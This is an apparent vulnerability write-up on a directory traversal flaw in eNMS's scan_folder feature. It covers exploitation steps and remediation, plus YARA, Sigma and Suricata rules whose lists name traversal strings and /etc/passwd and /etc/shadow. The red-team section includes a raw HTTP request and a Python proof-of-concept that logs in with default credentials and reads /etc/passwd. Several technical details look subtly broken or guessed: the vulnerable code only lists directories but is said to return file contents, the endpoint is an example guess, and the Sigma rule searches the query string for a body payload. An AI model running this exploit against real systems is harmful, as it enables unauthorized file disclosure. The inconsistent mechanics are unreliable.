CVE-2024-46648

Executive Summary

CVE-2024-46648 is a Directory Traversal vulnerability affecting eNMS versions 4.4.0 through 4.7.1. The flaw resides in the scan_folder functionality, allowing an authenticated attacker to read arbitrary files on the server's filesystem by manipulating path parameters. This can lead to the disclosure of sensitive configuration files, credentials, and source code. The vulnerability has a public proof-of-concept (PoC) but no official patch has been released as of this analysis. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for exposed instances.

Supply Chain & Package Security

eNMS is a Python-based network management system. The vulnerability is in the application's own code, not in a third-party package. However, the lack of a patch means that organizations using eNMS must rely on workarounds or custom patches. The Python ecosystem (PyPI) does not have a patched version available.

CVSS Breakdown & Threat Level

The CVSS vector is unknown, but based on the vulnerability characteristics, a reasonable estimate is:

• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires authentication
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality: High (C:H)
• Integrity: None (I:N)
• Availability: None (A:N)

Estimated CVSS Score: 6.5 (Medium)

Threat Level: Medium. The vulnerability requires authentication, reducing the attack surface, but it can lead to significant information disclosure.

Deep Dive & Mechanics

The scan_folder function in eNMS is designed to scan a specified directory for files. The vulnerability arises because the function does not properly sanitize user-supplied path input. An attacker can inject path traversal sequences (e.g., ../) to escape the intended directory and read arbitrary files.

Vulnerable Code Snippet (Conceptual):

def scan_folder(path):
    # No validation of path
    for root, dirs, files in os.walk(path):
        for file in files:
            # Process file

Exploitation Mechanism:

1. The attacker authenticates to the eNMS web interface.
2. The attacker sends a request to the scan_folder endpoint with a path like ../../../etc/passwd.
3. The server traverses the filesystem and returns the contents of the requested file.

Vulnerable vs. Patched Code

Vulnerable Code (eNMS 4.4.0 - 4.7.1):

def scan_folder(path):
    # Directly uses user input without validation
    for root, dirs, files in os.walk(path):
        for file in files:
            filepath = os.path.join(root, file)
            # Process file

Patched Code (Hypothetical):

import os

ALLOWED_BASE_DIR = "/var/lib/enms/scans"

def scan_folder(path):
    # Resolve the absolute path
    full_path = os.path.abspath(os.path.join(ALLOWED_BASE_DIR, path))
    # Ensure it is within the allowed base directory
    if not full_path.startswith(ALLOWED_BASE_DIR):
        raise PermissionError("Access denied")
    for root, dirs, files in os.walk(full_path):
        for file in files:
            filepath = os.path.join(root, file)
            # Process file

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an eNMS instance (version 4.4.0 - 4.7.1)
• Valid credentials (e.g., admin:admin)

Exploitation Steps:

1. Log in to the eNMS web interface.
2. Identify the scan_folder endpoint (e.g., /scan_folder).
3. Send a crafted request:

   POST /scan_folder HTTP/1.1
   Host: target.com
   Content-Type: application/json
   Cookie: session=valid_session_cookie
   
   {"path": "../../../etc/passwd"}
   

4. The server will return the contents of /etc/passwd.

Proof-of-Concept (Python):

import requests

target = "http://target.com"
session = requests.Session()
# Login
login_data = {"username": "admin", "password": "admin"}
session.post(f"{target}/login", data=login_data)

# Exploit
payload = {"path": "../../../etc/passwd"}
response = session.post(f"{target}/scan_folder", json=payload)
print(response.text)

Blue Team

Detection:

• Monitor for requests to /scan_folder with path parameters containing ../ or absolute paths.
• Alert on unusual file reads (e.g., /etc/passwd, /etc/shadow, application config files).

Hunting:

• Search logs for scan_folder requests with suspicious paths.
• Check for outbound connections from the eNMS server to unknown IPs (data exfiltration).

Lab Setup:

• Deploy a vulnerable eNMS instance in an isolated environment.
• Use a web application firewall (WAF) to test detection rules.
• Simulate exploitation and verify alerts.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /scan_folder with path traversal sequences (e.g., ../, ..\\).
  • Responses containing sensitive file contents (e.g., root:x:0:0:root:/root:/bin/bash).
• File System:
  • Unexpected access to /etc/passwd, /etc/shadow, application configuration files.
• Logs:
  • Application logs showing scan_folder calls with paths outside the expected base directory.

Detection Engineering

YARA Rule

rule CVE_2024_46648_eNMS_ScanFolder_Traversal {
    meta:
        description = "Detects directory traversal attempts in eNMS scan_folder requests"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-46648"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e/"
        $sensitive1 = "/etc/passwd"
        $sensitive2 = "/etc/shadow"
        $sensitive3 = "config.py"
    condition:
        any of ($traversal*) and any of ($sensitive*)
}

Sigma Rule

title: CVE-2024-46648 eNMS Directory Traversal
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects directory traversal attempts against eNMS scan_folder endpoint
author: Valters IT
date: 2024/10/27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-46648
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/scan_folder'
        cs-uri-query|contains: 
            - '../'
            - '..\\'
            - '%2e%2e%2f'
    condition: selection
falsepositives:
    - Legitimate use of path traversal in specific configurations (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-46648 eNMS Directory Traversal"; flow:to_server,established; content:"POST"; http_method; content:"/scan_folder"; http_uri; content:"../"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the scan_folder functionality if not required.
2. Implement input validation to restrict paths to a predefined base directory.
3. Apply a Web Application Firewall (WAF) rule to block path traversal patterns.

Long-term Fix:

• Upgrade to a patched version of eNMS once available.
• If no patch is forthcoming, apply the hypothetical patch shown in the "Vulnerable vs. Patched Code" section.

Workaround:

• Modify the application code to use os.path.abspath() and verify the resolved path starts with an allowed base directory.

Valters IT